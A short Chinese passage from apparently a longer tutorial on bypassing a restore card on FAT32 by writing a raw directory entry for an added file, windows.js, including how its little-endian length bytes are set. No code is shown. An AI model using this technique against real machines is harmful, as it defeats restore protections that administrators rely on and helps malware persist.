其中NewFile数组定义了添加的文件windows.js的目录项，关于目录项中各个数据的含义，大家参照我上面对目录项的分析自己好好了解一下即可。需要注意的是"0xe4,0x01,0x00,0x00"，这4字节是你添加的文件长度，因为这是按照小端存放的，实际数值为0x1e4，刚好为484字节，这个数据需要根据你自己添加的数据大小进行修改。

写到这里，FAT32文件系统下穿透还原卡的程序就给大家分析完了，分析NTFS文件系统的方法也是大同小异，不过NTFS文件系统分析起来要麻烦得多，代码也复杂烦琐得多。